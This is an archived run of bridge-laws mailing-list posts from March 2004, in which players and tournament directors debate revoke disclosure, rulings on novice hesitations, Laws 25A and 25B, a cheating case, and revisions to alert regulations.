IME) I rule against the bunny (carefully explaining why). Tim From twm@cix.co.uk Fri Mar 5 13:17:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Fri, 5 Mar 2004 13:17 +0000 (GMT Standard Time) Subject: [blml] Re: (blml) Should you point out infractions In-Reply-To: <003801c4028b$50386780$dcbc84d9@mycomputer> Message-ID: Israel wrote: > > If you revoke at the end of the hand you may sit there quietly > > saying nothing. -=That is -ethical - , that is legal. But hiding > > your revoke by revoking again, mixing the cards, and so on is not > > permitted. > "THAT is LEGAL" if you say so.But "ETHICAL" ? And you the gallant > fighter for FULL DISCLOSURE. Israel, if it is legal it cannot possibly be unethical. To be unethical one must knowingly and willfully break the law. Personally I think the law should require disclosure if player subsequently becomes aware of a revoke but until it does we have no grounds for criticising those who say nothing. Tim From mario@bridge.org.mt Fri Mar 5 13:23:16 2004 From: mario@bridge.org.mt (Mario Dix) Date: Fri, 5 Mar 2004 14:23:16 +0100 Subject: [blml] RE: blml digest, Vol 1 #1382 - 4 msgs In-Reply-To: <20040305132014.23781.22100.Mailman@toybox.amsterdamned.org> Message-ID: <002501c402b5$04c7b6f0$5caea5d5@Mario> please note that I have received a McAfee virus warning sent with Vol 1 /1382-4msgs regards, Mario Dix -----Original Message----- From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of blml-request@rtflb.org Sent: Friday, March 05, 2004 2:20 PM To: blml@rtflb.org Subject: blml digest, Vol 1 #1382 - 4 msgs From blml@blakjak.com Fri Mar 5 14:39:20 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 5 Mar 2004 14:39:20 +0000 Subject: [blml] Bunnies and Law 73F2 (was The WBF) In-Reply-To: References: Message-ID: <2$mSjCVYEJSAFw+A@blakjak.demon.co.uk> Tim West-Meads wrote >Richard wrote: > >> Where I tend to agree with Nigel and disagree with Tim is >> that non-infraction of Law 73F2 by a bunny is only, in my >> opinion, a tendency. I do not agree with Tim's implication >> that bunnies *never* infract Law 73F2. > >Nor do I! I have dealt with developing novices who have *told* me they >paused to make it look like they had the Ace. They get a kindly >explanation (and an adjusted score). I do, however, have a tendency to >believe bunnies who tell me they had to think because they didn't know >what the right bid was. > >> In my opinion, cuniculus sapiens (the cunning bunny) is an >> endangered species, but it is not yet extinct. > >Indeed. Bunnies who have previously played (eg) poker can be quite >devious. When I suggested to a bunny that he should not hesitate with a singleton he looked puzzled, and explained he had done so deliberately to confuse me. He had played a lot of other card games. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From johnson@CCRS.NRCan.gc.ca Fri Mar 5 17:54:15 2004 From: johnson@CCRS.NRCan.gc.ca (Ron Johnson) Date: Fri, 5 Mar 2004 12:54:15 -0500 (EST) Subject: [blml] Re: (blml) Should you point out infractions In-Reply-To: from "Tim West-Meads" at Mar 05, 2004 01:17:00 PM Message-ID: <200403051754.i25HsFm1013737@athena.ccrs.nrcan.gc.ca> Tim West-Meads writes: > > Israel wrote: > > > If you revoke at the end of the hand you may sit there quietly > > > saying nothing. -=That is -ethical - , that is legal. But hiding > > > your revoke by revoking again, mixing the cards, and so on is not > > > permitted. > > > "THAT is LEGAL" if you say so.But "ETHICAL" ? And you the gallant > > fighter for FULL DISCLOSURE. > > Israel, if it is legal it cannot possibly be unethical. To be unethical > one must knowingly and willfully break the law. Not so. Laws constrain behaviour. Ethics is a matter of morality. The two should never be in conflict in a properly crafted set of laws and you can't be punished if your actions are in accordance with the law. > Personally I think the > law should require disclosure if player subsequently becomes aware of a > revoke but until it does we have no grounds for criticising those who say > nothing. Sure we do. I'll think badly of anybody who would knowingly do so. And would never agree to play with them. (I'll leave that to the audience to decide whether that might not be a plus) From ereppert@rochester.rr.com Fri Mar 5 19:44:18 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 5 Mar 2004 14:44:18 -0500 Subject: Fw: Fw: [blml] The WBF [WAS: revokes] In-Reply-To: Message-ID: <7DD1874E-6EDD-11D8-A537-0030656F6826@rochester.rr.com> On Friday, Mar 5, 2004, at 08:17 US/Eastern, Tim West-Meads wrote: > If I find the situation is one where the UI is obviously interpretable > even by the bunny (fairly rare > IME) I rule against the bunny (carefully explaining why). I'm studying for the ACBL Club Director's test. One of the references is the ACBL Guide for Club Directors. There is a section therein on running "Newcomer" games. One of the stated principles in such a game is "the Newcomer is always right". Apparently, this is to be interpreted as "even when he's wrong". Seems to me there's a difference between coming down on a newcomer like a ton of bricks and educating said newcomer. I would agree with those who say the former helps no one, but I'm not at all sure ignoring the latter is helpful to anyone. Oh, the newcomer may keep coming back, not having been "driven away by adverse rulings" but will he *ever* learn the *right* way to do things? In my admittedly limited experience the answer is "no". From ereppert@rochester.rr.com Fri Mar 5 19:53:20 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 5 Mar 2004 14:53:20 -0500 Subject: [blml] Re: (blml) Should you point out infractions In-Reply-To: <200403051754.i25HsFm1013737@athena.ccrs.nrcan.gc.ca> Message-ID: On Friday, Mar 5, 2004, at 12:54 US/Eastern, Ron Johnson wrote: > Not so. Laws constrain behaviour. Ethics is a matter of morality. And morality is a matter of behavior. > Sure we do. I'll think badly of anybody who would knowingly do so > [fail to disclose his own revoke - ER]. And > would never agree to play with them. (I'll leave that to the audience > to decide whether that might not be a plus) "The refusal of a player, pair or team in an ACBL sanctioned Sectional, Regional, NABC, Grand National or North American Pair event to play against another player, pair or team duly entered in the event shall require the disqualification of the player, pair or team refusing to play from further participation in the event and the forfeiture of any masterpoints earned by the player, pair or team in the event. Such refusal shall constitute conduct unbecoming a member of the ACBL and shall be referred to the disciplinary body having jurisdiction for appropriate disciplinary action." - ACBL General Conditions of Contest From nigel.guthrie@ntlworld.com Fri Mar 5 21:06:12 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Fri, 5 Mar 2004 21:06:12 -0000 Subject: Fw: Fw: [blml] The WBF [WAS: revokes] References: Message-ID: <003901c402f5$b1f541e0$c19568d5@tinyhrieuyik> [Tim] > Nigel, this was written in the context of a suggestion > that we should always rule the same against bunnies as > against experts. Why on earth would I mention "investigation"? > It is automatic for a TD to investigate when he gets to a > table and as a result of such investigations he will > often find that no infraction has occurred. If I judge > an expert is "trying it on" in such circumstances *and* > should have known better I am perfectly entitled to tell > the expert off. If I find the situation is one where the > UI is obviously interpretable even by the bunny (fairly rare > IME) I rule against the bunny (carefully explaining why). [Nigel] I still hope that you are deliberately winding us up, TIm :) What I argue is that a novice *is* capable of using a hesitation deceptively and of using UI from a hesitation. Of course I agree that whether the novice did, in fact, break current law is a matter of objective investigation, mind-reading skill and sophisticated subjective judgement. Where have I implied that a TD should penalize if he decides that there has been no infraction? Even in this new context, however, is it OK for the TD to impugn an expert's motives simply because he asks for a ruling against novice opponents? Is it OK for a TD to call a player "stupid"? Especially if he is? Does "judgement" legislation really justify offensive TD behaviour? Are Richard and I the only people who find Tim's suggested procedure in any way remarkable? I guess the answers again are :(Yes:(Yes:(Yes:(Yes:(Yes:( --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.604 / Virus Database: 384 - Release Date: 01/03/2004 From ereppert@rochester.rr.com Fri Mar 5 21:48:47 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 5 Mar 2004 16:48:47 -0500 Subject: [blml] 25A or 25B? Message-ID: IMPs. East deals. The auction proceeds: N E S W - 1H P P P* A short pause, then "Oh, wait, I didn't see partner's pass" followed by 1S. Nobody called the director. Eventually, NS get 6 or 7 imps on the board. Which law? From johnson@CCRS.NRCan.gc.ca Fri Mar 5 22:28:22 2004 From: johnson@CCRS.NRCan.gc.ca (Ron Johnson) Date: Fri, 5 Mar 2004 17:28:22 -0500 (EST) Subject: [blml] Re: (blml) Should you point out infractions In-Reply-To: from "Ed Reppert" at Mar 05, 2004 02:53:20 PM Message-ID: <200403052228.i25MSMtO014807@athena.ccrs.nrcan.gc.ca> Ed Reppert writes: > > > On Friday, Mar 5, 2004, at 12:54 US/Eastern, Ron Johnson wrote: > > > Not so. Laws constrain behaviour. Ethics is a matter of morality. > > And morality is a matter of behavior. > > > Sure we do. I'll think badly of anybody who would knowingly do so > > [fail to disclose his own revoke - ER]. And > > would never agree to play with them. (I'll leave that to the audience > > to decide whether that might not be a plus) > > "The refusal of a player, pair or team in an ACBL sanctioned Sectional, > Regional, NABC, Grand National or North American Pair event to play > against another player, pair or team duly entered in the event shall > require the disqualification of the player, pair or team refusing to > play from further participation in the event and the forfeiture of any > masterpoints earned by the player, pair or team in the event. > > Such refusal shall constitute conduct unbecoming a member of the ACBL > and shall be referred to the disciplinary body having jurisdiction for > appropriate disciplinary action." - ACBL General Conditions of Contest I know. It's come up. A team refused to play an accused cheater (Steve Sion's team IIRC). It's a perfectly sensible rule and one I'd follow without hesitation. Note however that I said play with as opposed to play against. I hasten to add I wouldn't want a player I considered unethical on my team as well. From svenpran@online.no Fri Mar 5 22:40:35 2004 From: svenpran@online.no (Sven Pran) Date: Fri, 5 Mar 2004 23:40:35 +0100 Subject: [blml] 25A or 25B? In-Reply-To: Message-ID: <000001c40302$e05ce9e0$6900a8c0@WINXP> Ed Reppert=20 > IMPs. East deals. The auction proceeds: >=20 > N E S W > - 1H P P > P* >=20 > A short pause, then "Oh, wait, I didn't see partner's pass" followed = by > 1S. Nobody called the director. Eventually, NS get 6 or 7 imps on the > board. >=20 > Which law? When you write that NS eventually get 6 or 7 IMPs this I assume means = that the 1S bid was followed by another call from East and that the board was finally played? In that case I find Law 25B1 most relevant. As the event is described Law 25A can never apply. North discovered that = he had overlooked details from the auction and consequently changed his = mind on what call to make. This was definitely not a "slip of the hand". Regards Sven From Laval_Dubreuil@uqss.uquebec.ca Fri Mar 5 22:53:49 2004 From: Laval_Dubreuil@uqss.uquebec.ca (Laval Dubreuil) Date: Fri, 5 Mar 2004 17:53:49 -0500 Subject: [blml] 25A or 25B? In-Reply-To: Message-ID: ereppert writes: IMPs. East deals. The auction proceeds: N E S W - 1H P P P* A short pause, then "Oh, wait, I didn't see partner's pass" followed by 1S. Nobody called the director. Eventually, NS get 6 or 7 imps on the board. Which law? ________________________________________________________________________ IMHO, clearly 25B: short pause, change of mind (didn't see partner's P). As LHO did not call.... 25B still applies.... If substitute call (1S) is condoned by LHO, no penalty (25B1). If not, two "marvellous" options (25B2b) - Original P (end of auction); - 1S or something else: auction proceeds "normally", without using UI. Offending side may receive no score greater than Avg-. Non-offending side receives the score achieved. I hope this horror will be removed in next version of Laws.... But you told nobody called the TD. I suppose 1S was accepted and auctions proceeds from there (25B1). Nothing to do if called later. Laval Du Breuil Quebec City From henk@ripe.net Fri Mar 5 23:51:05 2004 From: henk@ripe.net (Henk Uijterwaal (RIPE NCC)) Date: Sat, 6 Mar 2004 00:51:05 +0100 (CET) Subject: [blml] RE: blml digest, Vol 1 #1382 - 4 msgs In-Reply-To: <002501c402b5$04c7b6f0$5caea5d5@Mario> References: <002501c402b5$04c7b6f0$5caea5d5@Mario> Message-ID: On Fri, 5 Mar 2004, Mario Dix wrote: > please note that I have received a McAfee virus warning sent with Vol 1 > /1382-4msgs Can you please send me the full headers of this mail? (Privately) Thanks, Henk (Moderator) > > regards, Mario Dix > > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of > blml-request@rtflb.org > Sent: Friday, March 05, 2004 2:20 PM > To: blml@rtflb.org > Subject: blml digest, Vol 1 #1382 - 4 msgs > > > > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > ------------------------------------------------------------------------------ Henk Uijterwaal Email: henk.uijterwaal(at)ripe.net RIPE Network Coordination Centre http://www.amsterdamned.org/~henk P.O.Box 10096 Singel 258 Phone: +31.20.5354414 1001 EB Amsterdam 1016 AB Amsterdam Fax: +31.20.5354445 The Netherlands The Netherlands Mobile: +31.6.55861746 ------------------------------------------------------------------------------ Process and Procedure are the last hiding place of people without the wit and wisdom to do their job properly. (David Brent). From erdnbaum@netvision.net.il Fri Mar 5 23:54:40 2004 From: erdnbaum@netvision.net.il (Israel Erdnbaum) Date: Sat, 06 Mar 2004 01:54:40 +0200 Subject: [blml] Re: (blml) Should you point out infractions References: <4047E08C.20308@earthlink.net> <5.1.1.6.1.20040305112609.01fc04c0@mail.netvision.net.il> Message-ID: <000801c4030d$3a26dc60$431084d9@mycomputer> ----- Original Message ----- From: "Eitan Levy" To: Sent: Friday, March 05, 2004 12:23 PM Subject: Re: [blml] Re: (blml) Should you point out infractions > At 10:24 AM 05-03-04 +0200, DWS wrote: > snip > > > If you revoke at the end of the hand you may sit there quietly saying > > > nothing. -=That is -ethical - , that is legal. But hiding your > >revoke by > > > revoking again, mixing the cards, and so on is not permitted. > > > > -- > > Israel reacted: > >Hi David > > "THAT is LEGAL" if you say so. > > Not only David says so: so does the law book L72B3 > > >But "ETHICAL" ? And you the gallant fighter > >for FULL DISCLOSURE. > >best regards > >Israel > > What have the two got to do with one another? Full disclosure deals with > not having secret agreements etc. It has nothing to do with staying awake > at the table and noticing what has been played. The laws say your opponents > should pay attention to the game (74B1) and the laws say you don't have to > draw attention etc to your own revoke. To suggest that someone might be > unethical because he has acted in accordance with the law is grossly > unfair: Here is what the WBF Code of Practice has to say about ethics: > "GROSSLY UNFAIR" WHO? LAWS and ETHICS not exactly the same. But as a matter of fact the laws DON'T say "YOU don't Have to draw attention to your own revoke" they say YOU have no OBLIGATION to do so. What has it to do with "complete disclosure" Only this tht complete disclosure IS ALL ABOUT ETHICS. Israel ? > quote 'A contestant may only be penalized for a lapse of ethics where a > player is in breach of the provisions of the laws in respect of the conduct > of players. A player who has conformed to the laws and regulations is not > subject to criticism. This does not preclude encouragement of a generous > attitude to opponents, especially in the exchange of information behind > screens.' unquote > > Eitan Levy > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From ereppert@rochester.rr.com Fri Mar 5 23:55:23 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 5 Mar 2004 18:55:23 -0500 Subject: [blml] Re: (blml) Should you point out infractions In-Reply-To: <200403052228.i25MSMtO014807@athena.ccrs.nrcan.gc.ca> Message-ID: <9145E810-6F00-11D8-AEB6-0030656F6826@rochester.rr.com> On Friday, Mar 5, 2004, at 17:28 US/Eastern, Ron Johnson wrote: > Note however that I said play with as opposed to play against. Yes. I realized I might have misunderstood you when Kojak asked me what the hell I was talking about. Sorry about that. > I hasten to add I wouldn't want a player I considered unethical > on my team as well. Understandable. Neither would I. :-) From richard.hills@immi.gov.au Sat Mar 6 03:38:48 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Sat, 6 Mar 2004 13:38:48 +1000 Subject: [blml] Re: (blml) Should you point out infractions Message-ID: ACBL General Conditions of Contest: >>The refusal of a player, pair or team in an ACBL sanctioned Sectional= , >>Regional, NABC, Grand National or North American Pair event to play >>against another player, pair or team duly entered in the event shall >>require the disqualification of the player, pair or team refusing to >>play from further participation in the event and the forfeiture of an= y >>masterpoints earned by the player, pair or team in the event. >> >>Such refusal shall constitute conduct unbecoming a member of the ACBL= >>and shall be referred to the disciplinary body having jurisdiction fo= r >>appropriate disciplinary action. Ron Johnson: >I know. It's come up. A team refused to play an accused cheater (Steve= >Sion's team IIRC). It's a perfectly sensible rule and one I'd follow >without hesitation. > >Note however that I said play with as opposed to play against. I >hasten to add I wouldn't want a player I considered unethical on my >team as well. Richard James Hills: Steve Sion was formally found guilty of cheating by the ACBL after due process, and expelled from membership. But, Steve Sion took the precaution of initiating a lawsuit against the ACBL. So, the ACBL readmitted Sion as a member on probation - with the word "probation" merely meaning that the cheating partnership of Cokin-Sion could not be reformed. A team of Bridge World Subscribers were drawn against the Sion team in the last round of a major Swiss teams event. If the Subscribers team had played the Sion team, the Subscribers could have won the event. The Subscribers refused, were disqualified, and the Sion team won the event by default. Edgar Kaplan discussed the Subscribers' actions in a Bridge World Editorial. Kaplan disagreed with the Subscribers' decision, stating that what should have occurred was the Subscribers withdrawing from the Swiss teams event, and reclaiming their entry fee, as soon as they noticed that the Sion team had entered. Edgar Kaplan noted that if all ethical players withdrew from events probationary cheats had entered, the ACBL might reconsider its policy of readmitting cheats on probation. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From walt1@verizon.net Sat Mar 6 03:34:35 2004 From: walt1@verizon.net (Walt) Date: Fri, 05 Mar 2004 22:34:35 -0500 Subject: [blml] Re: (blml) Should you point out infractions In-Reply-To: References: <003801c4028b$50386780$dcbc84d9@mycomputer> Message-ID: <6.0.3.0.0.20040305223128.02b23bb0@incoming.verizon.net> At 08:17 AM 5/03/2004, Tim West-Meads wrote: >Personally I think the >law should require disclosure if player subsequently becomes aware of a >revoke but until it does we have no grounds for criticising those who say >nothing. Tim If the law required disclosure if I subsequently became aware that I revoked, this would put me at a competitive disadvantage if I were more knowledgeable or ethical than the rest of the field. I think it is a very bad idea to penalize ethical behavior. Walt From t.kooyman@worldonline.nl Sat Mar 6 10:21:36 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Sat, 6 Mar 2004 11:21:36 +0100 Subject: Fw: [blml] another pausey one Message-ID: <005501c40364$d1f93680$b582b6d4@LNV> > > >Richard James Hills reveals: > > >A split score adjustment at the point-in-time of *use* of > > >UI is an illogical Reveley ruling. But the ACBL proposal > > >to split scores at the earlier point-in-time of the > > >*giving* of UI is an even more illogical uber-Reveley > > >ruling. > > > > > Richard has often mentioned these egregious rulings, and I > > suppose I am the only one on the list who is not quite certain > > what they are. Lest I should be tempted to fall into the same > > trap as Mr Reveley > > .. please explain? > > > > :( > > > > Tony (Sydney) > I have said this before: the ACBL has become the victim of its own policy: > to be too inventive in finding logical alternatives, not allowing calls > overwhelmingly chosen and therewith offering the non offenders huge scores. > This even being emphasized because L12C3 may not be applied. > With such an approach I would have made the hesitation part of the > infraction myself. > > ton > > From blml@blakjak.com Sat Mar 6 13:18:13 2004 From: blml@blakjak.com (David Stevenson) Date: Sat, 6 Mar 2004 13:18:13 +0000 Subject: [blml] Re: (blml) Should you point out infractions In-Reply-To: <200403052228.i25MSMtO014807@athena.ccrs.nrcan.gc.ca> References: <200403052228.i25MSMtO014807@athena.ccrs.nrcan.gc.ca> Message-ID: Ron Johnson wrote >Note however that I said play with as opposed to play against. I >hasten to add I wouldn't want a player I considered unethical >on my team as well. Now we are back ot personal ethics versus general ethics. You are saying that you will not play with someone who disagrees with your own personal ethics. I think that is a singularly unfortunate view, and probably untrue if taken to its extreme. If you were to investigate you would probably find that even with the partners you do play that they have one or two ideas in the ethical area where you are not in agreement. I think you should be somewhat tolerant of a player who plays within the laws of the game, but not within your own personal additional ethics. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Sat Mar 6 13:22:40 2004 From: blml@blakjak.com (David Stevenson) Date: Sat, 6 Mar 2004 13:22:40 +0000 Subject: [blml] Re: (blml) Should you point out infractions In-Reply-To: References: Message-ID: RJH wrote >Steve Sion was formally found guilty of cheating by the ACBL after >due process, and expelled from membership. But, Steve Sion took the >precaution of initiating a lawsuit against the ACBL. So, the ACBL >readmitted Sion as a member on probation - with the word "probation" >merely meaning that the cheating partnership of Cokin-Sion could not >be reformed. > >A team of Bridge World Subscribers were drawn against the Sion team >in the last round of a major Swiss teams event. If the Subscribers >team had played the Sion team, the Subscribers could have won the >event. The Subscribers refused, were disqualified, and the Sion >team won the event by default. > >Edgar Kaplan discussed the Subscribers' actions in a Bridge World >Editorial. Kaplan disagreed with the Subscribers' decision, stating >that what should have occurred was the Subscribers withdrawing from >the Swiss teams event, and reclaiming their entry fee, as soon as >they noticed that the Sion team had entered. Edgar Kaplan noted that >if all ethical players withdrew from events probationary cheats had >entered, the ACBL might reconsider its policy of readmitting cheats >on probation. It is interesting that individuals want to take the responsibilities of authorities away from them and apply the responsibilities themselves, despite less time spent on the subject, and considerably less knowledge. If the above scenario happened ot me I would assume it was the ACBL's responsibility who is allowed to play, not mine. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Sat Mar 6 13:23:38 2004 From: blml@blakjak.com (David Stevenson) Date: Sat, 6 Mar 2004 13:23:38 +0000 Subject: [blml] 25A or 25B? In-Reply-To: References: Message-ID: Ed Reppert wrote >IMPs. East deals. The auction proceeds: > >N E S W >- 1H P P >P* > >A short pause, then "Oh, wait, I didn't see partner's pass" followed by >1S. Nobody called the director. Eventually, NS get 6 or 7 imps on the >board. > >Which law? L25B. At the time he passed he meant to pass so L25A is inoperative. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From ereppert@rochester.rr.com Sat Mar 6 13:39:30 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Sat, 6 Mar 2004 08:39:30 -0500 Subject: [blml] 25A or 25B? In-Reply-To: Message-ID: On Saturday, Mar 6, 2004, at 08:23 US/Eastern, David Stevenson wrote: > At the time he passed he meant to pass so L25A is inoperative. That's pretty much what I thought. Thanks. From toddz@att.net Sat Mar 6 16:17:17 2004 From: toddz@att.net (Todd M. Zimnoch) Date: Sat, 06 Mar 2004 11:17:17 -0500 Subject: [blml] Re: (blml) Should you point out infractions In-Reply-To: References: Message-ID: <6.0.1.1.1.20040306110856.01bb6008@postoffice.worldnet.att.net> At 08:22 AM 3/6/2004, David Stevenson wrote: > It is interesting that individuals want to take the responsibilities >of authorities away from them and apply the responsibilities >themselves, despite less time spent on the subject, and considerably >less knowledge. If the above scenario happened ot me I would assume it >was the ACBL's responsibility who is allowed to play, not mine. It is the ACBL's responsibility and it still is, but each person gets to decide whether they'll protest with their money and vote with their feet. Welcome to a democratic, free-market society. The potency of such would be tremendous. I assume Sion's legal case against the ACBL implied that his exclusion threatened his livelihood. If only the organization could demonstrate that some individual member(s) threaten(s) its livelihood. But you needn't worry. With the political lethargy of ACBL's members, such will never happen. -Todd From rui.mlmarques@netvisao.pt Sun Mar 7 10:17:26 2004 From: rui.mlmarques@netvisao.pt (Rui Marques) Date: Sun, 7 Mar 2004 10:17:26 -0000 Subject: [blml] Inadvertert - was "25A or 25B?" In-Reply-To: Message-ID: <002501c4042d$667db3d0$0201a8c0@rui> One of the concepts that sometimes are not well understood is the one of "inadvertent" (designation, call, play). This was clearly NOT inadvertent because like David and others pointed out at the moment he passed he INTENDED to pass. The best way I=B4ve seen to explain inadvertency is the "slip of finger/slip of mind". An action that happens because of a slip of finger is inadvertent. An action that happens because of a slip of mind is not. Even if the slip of mind is to think that partner opened 1NT when in fact he opened 3NT, for example... Rui Marques From richard.hills@immi.gov.au Sun Mar 7 22:49:36 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 8 Mar 2004 08:49:36 +1000 Subject: [blml] Catch-22 Message-ID: In my initial posting on this thread, some months ago, I criticised the penultimate version of the ABF Alert regulations: >The ABF has just produced a slightly revised set of Alert >regulations. > >ABF Alert Regulation number 8.3 (final sentence) - > >"...Take care not to ask questions where your intention >is to pass regardless of the answer." > >ABF Alert Regulation number 11.2 - > >"When players claim damage due to a failure to alert (but >are likely to have been aware of probable alternative >meanings of a call), their claim will be unsuccessful if >they could have enquired as to the meaning of the call >before damage occurred." > >These two regulations, read together, not only appear to >create a Catch-22 situation, but also appear to give an >incentive for players using slightly offbeat methods to >"accidentally" sometimes forget to Alert. "A drama critic is a person who surprises the playwright by informing him what he meant" - Wilson Mizner, 1876-1933, American playwright It seems that a blml critic is a person who suprised the ABF into writing what it really meant. The above words were the penultimate ABF Alert regulations. The ABF appears to have taken note of the Catch-22 problem, and so the ABF now writes what it really means in the ultimate ABF alert regulations: Ultimate ABF Alert Regulation number 8.2 - "...Hence while the Laws grant you the right to ask questions, unnecessary inquiries, or questions directed at particular calls, may limit partner's options in the subsequent bidding or play. It is therefore advisable not to ask questions if your intention is to pass regardless of the answer." Ultimate ABF Alert Regulation number 11.1 - "...Likewise, experienced players claiming damage through a technical failure to alert will need to present a strong case." It seems that blml is not merely entertaining, but also useful, thanks to a member of the ABF Alert regulations drafting sub-committee being a lurker on blml. Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From gesta@tiscali.co.uk Sun Mar 7 22:51:22 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Sun, 7 Mar 2004 22:51:22 -0000 Subject: [blml] Why does Law 56 exist? References: <004101c401c6$8065bcc0$5caea5d5@Mario> Message-ID: <000201c40496$e851d8a0$71a1403e@multivisionoem> Grattan Endicott To: Sent: Thursday, March 04, 2004 8:55 AM Subject: [blml] Why does Law 56 exist? > > If we are truly trying to simplify the Law book, > why not simply extend the sentence of Law 54D > +=+ For good or ill the latest draft for the future (not yet agreed) merges all leads and plays out of turn into a single law. +=+ From jaapvanderneut@hotmail.com Sun Mar 7 23:49:56 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Mon, 8 Mar 2004 00:49:56 +0100 Subject: [blml] Catch-22 References: Message-ID: Not bad Richard. Although never forget that it is advisable to ask 'unnecessary' questions even if your intention is to pass regardless of the answer to shield information from opponents. If you only ask when you might bid you tend to give UI to partner and 'unnecessary' information to opponents. So without screens in theory the only sensible thing to do is to ask about every alerted call (and whenever you suspect an alert failure). Strange that regulators still fail to see this obvious truth. Also because this prevents any UI to partner, your asking is automatic. Don't worry I know very well why this won't work. It slows down the game. It creates tons of different UI, in general it is not to your advantage to ask questions during murky sequences. So you should 'randomise' your questions a little. Also something quite dangerous. Because bidding something without asking might mean something else than bidding after asking. I don't mean 'agreements' but being practical. If you want to bid hearts natural there are situations it is better not to ask to prevent someone from giving an answer that makes your natural bid impossible. As long as opponents forgetting their conventional agreements remains legal it is hard to criticise these techniques. Anyway I remember Grattan arguing that you should only ask when you actually wanted to bid something. I have never understood this. So the meaning of a question is that 'I have a bid depending on the answer'. How can you possible give this info to opponents. I am sure Grattan still considers it UI for partner. This boils down to extra-legal support for complicated systems. So there is no solution for the problem. Go play with screens. Screens are not perfect but solve these problems quite good. Jaap ----- Original Message ----- From: To: Sent: Sunday, March 07, 2004 11:49 PM Subject: Re: [blml] Catch-22 In my initial posting on this thread, some months ago, I criticised the penultimate version of the ABF Alert regulations: >The ABF has just produced a slightly revised set of Alert >regulations. > >ABF Alert Regulation number 8.3 (final sentence) - > >"...Take care not to ask questions where your intention >is to pass regardless of the answer." > >ABF Alert Regulation number 11.2 - > >"When players claim damage due to a failure to alert (but >are likely to have been aware of probable alternative >meanings of a call), their claim will be unsuccessful if >they could have enquired as to the meaning of the call >before damage occurred." > >These two regulations, read together, not only appear to >create a Catch-22 situation, but also appear to give an >incentive for players using slightly offbeat methods to >"accidentally" sometimes forget to Alert. "A drama critic is a person who surprises the playwright by informing him what he meant" - Wilson Mizner, 1876-1933, American playwright It seems that a blml critic is a person who suprised the ABF into writing what it really meant. The above words were the penultimate ABF Alert regulations. The ABF appears to have taken note of the Catch-22 problem, and so the ABF now writes what it really means in the ultimate ABF alert regulations: Ultimate ABF Alert Regulation number 8.2 - "...Hence while the Laws grant you the right to ask questions, unnecessary inquiries, or questions directed at particular calls, may limit partner's options in the subsequent bidding or play. It is therefore advisable not to ask questions if your intention is to pass regardless of the answer." Ultimate ABF Alert Regulation number 11.1 - "...Likewise, experienced players claiming damage through a technical failure to alert will need to present a strong case." It seems that blml is not merely entertaining, but also useful, thanks to a member of the ABF Alert regulations drafting sub-committee being a lurker on blml. Best wishes Richard James Hills ---------------------------------------------------------------------------- ---------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. This email, including attachments, may contain confidential, legally privileged and/or copyright information, the unauthorised use of which is prohibited. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to be the view of the Department of Immigration and Multicultural and Indigenous Affairs (DIMIA). DIMIA respects your privacy and has obligations under the Privacy Act 1988 (see www.immi.gov.au). ---------------------------------------------------------------------------- ---------- _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From nigel.guthrie@ntlworld.com Mon Mar 8 00:45:59 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Mon, 8 Mar 2004 00:45:59 -0000 Subject: [blml] Explain Message-ID: <008601c404a6$ba6e75a0$d59468d5@tinyhrieuyik> > [Jaap van der Neut - in another thread] 